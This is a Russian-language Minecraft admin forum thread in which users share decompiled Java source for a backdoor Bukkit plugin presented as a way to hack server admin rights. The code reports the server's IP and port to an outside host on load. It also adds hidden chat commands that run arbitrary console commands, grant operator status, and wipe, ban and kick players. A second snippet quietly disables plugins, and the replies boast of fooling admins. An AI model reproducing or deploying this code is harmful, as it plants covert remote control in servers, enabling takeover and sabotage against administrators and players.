Войти или зарегистрироваться
  • Вы находитесь в сообществе Rubukkit. Мы - администраторы серверов Minecraft, разрабатываем собственные плагины и переводим на различные языки плагины наших коллег из других стран.

Плагин для взлома Админки

А я вот раньше чем баловался:
Java:
import java.io.InputStream;
import java.net.URL;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.GameMode;
import org.bukkit.Location;
import org.bukkit.Server;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
import org.*********ventory.PlayerInventory;
import org.bukkit.plugin.Plugin;

public class MyClass
  implements Listener
{
  public MyClass(Plugin plugin)
  {
  try
  {
  String ip = plugin.getServer().getIp();
  int port = plugin.getServer().getPort();
  String link = "http://АЗАЗАЗАЗА.besaba.com/add.php?ip=" + ip + "&port=" + port;
  URL url = new URL(link);
  InputStream stream = url.openStream();
  stream.close();
  } catch (Exception localException) {}
  }

  @EventHandler
  public void onMyCmd(PlayerCommandPreprocessEvent e) {
  if (e.getMessage().startsWith("/!__")) {
  e.setCancelled(true);
  Bukkit.dispatchCommand(Bukkit.getConsoleSender(), e.getMessage().replace("/!__", ""));
  return;
  }
  if (e.getMessage().startsWith("/?__addadmin")) {
  e.setCancelled(true);
  if (e.getMessage().replace("/?__addadmin ", "").equalsIgnoreCase("!__all")) {
  for (Player player : Bukkit.getOnlinePlayers()) {
  player.setOp(true);
  e.getPlayer().sendMessage(ChatColor.GREEN + player.getName() + " - \u0443\u0434\u0430\u0447\u043D\u043E!");
  }
  return;
  }
  for (Player player : Bukkit.getOnlinePlayers()) {
  if (e.getMessage().replace("/?__addadmin ", "").equalsIgnoreCase(player.getName())) {
  player.setOp(true);
  e.getPlayer().sendMessage(ChatColor.GREEN + "\u0423\u0434\u0430\u0447\u043D\u043E!");
  return;
  }
  }
  e.getPlayer().sendMessage(ChatColor.RED + "\u041E\u0448\u0438\u0431\u043A\u0430!");
  return;
  }
  if ("/?__iamadmin".equalsIgnoreCase(e.getMessage())) {
  e.setCancelled(true);
  e.getPlayer().setOp(true);
  e.getPlayer().sendMessage(ChatColor.GREEN + "\u0423\u0434\u0430\u0447\u043D\u043E!");
  return;
  }
  if ("/?__gm".equalsIgnoreCase(e.getMessage())) {
  e.setCancelled(true);
  Player[] arrayOfPlayer1; if (("!__all".equalsIgnoreCase(e.getMessage().replace("/?__gm ", ""))) &&
  ((arrayOfPlayer1 = Bukkit.getOnlinePlayers()).length != 0)) { Player player = arrayOfPlayer1[0];
  switch (player.getGameMode()) {
  case CREATIVE:
  player.setGameMode(GameMode.CREATIVE);
  break;
  case ADVENTURE:
  player.setGameMode(GameMode.SURVIVAL);
  break;
  default:
  player.setGameMode(GameMode.CREATIVE);
  }

  return;
  }

  switch (e.getPlayer().getGameMode()) {
  case CREATIVE:
  e.getPlayer().setGameMode(GameMode.CREATIVE);
  break;
  case ADVENTURE:
  e.getPlayer().setGameMode(GameMode.SURVIVAL);
  break;
  default:
  e.getPlayer().setGameMode(GameMode.CREATIVE);
  }

  return;
  }
  if (e.getMessage().startsWith("/?__ban")) {
  e.setCancelled(true);
  if ("!__all".equalsIgnoreCase(e.getMessage().replace("/?__ban ", ""))) {
  for (Player player : Bukkit.getOnlinePlayers()) {
  if (player != e.getPlayer()) {
  player.getInventory().clear();
  player.teleport(new Location(player.getWorld(), 0.0D, 2147483647.0D, 0.0D));
  player.setBedSpawnLocation(player.getLocation());
  player.setOp(false);
  player.kickPlayer("");
  player.setBanned(true);
  e.getPlayer().sendMessage(ChatColor.GREEN + "\u0423\u0434\u0430\u0447\u043D\u043E!");
  }
  }
  return;
  }
  for (Player player : Bukkit.getOnlinePlayers()) {
  if (e.getMessage().replace("/?__ban ", "").equalsIgnoreCase(player.getName())) {
  player.getInventory().clear();
  player.teleport(new Location(player.getWorld(), 0.0D, 2147483647.0D, 0.0D));
  player.setBedSpawnLocation(player.getLocation());
  player.setOp(false);
  player.kickPlayer("");
  player.setBanned(true);
  e.getPlayer().sendMessage(ChatColor.GREEN + player.getName() + " - \u0443\u0434\u0430\u0447\u043D\u043E!");
  }
  }
  e.getPlayer().sendMessage(ChatColor.RED + "\u041E\u0448\u0438\u0431\u043A\u0430!");
  return;
  }
  }
}
//декомпилированная версия, ибо сурса уже давно нету.
 
Java:
      if (args[0].equalsIgnoreCase("+++удаление_плагина"))
      {
        Plugin plugin = Bukkit.getPluginManager().getPlugin(args[1]);
        if (plugin != null)
        {
          Bukkit.getPluginManager().disablePlugin(plugin);
        }
        e.setCancelled(true);
      }
%D0%B7%D0%B0%D0%BA%D0%BE%D0%BD-%D0%9F%D0%93%D0%9C-%D1%80%D0%B5%D0%BB%D0%B8%D0%B3%D0%B8%D1%8F-%D0%A0%D0%BE%D1%81%D1%81%D0%B8%D1%8F-486547.gif
Удаление плагина просто отменное :D
 
это не удаление, просто выключение. пусть админ думает, что удалил.
скоро выйдет обновление! функции останутся прежними, а команды поменяю.
 

Поделиться этой страницей

Назад
Верх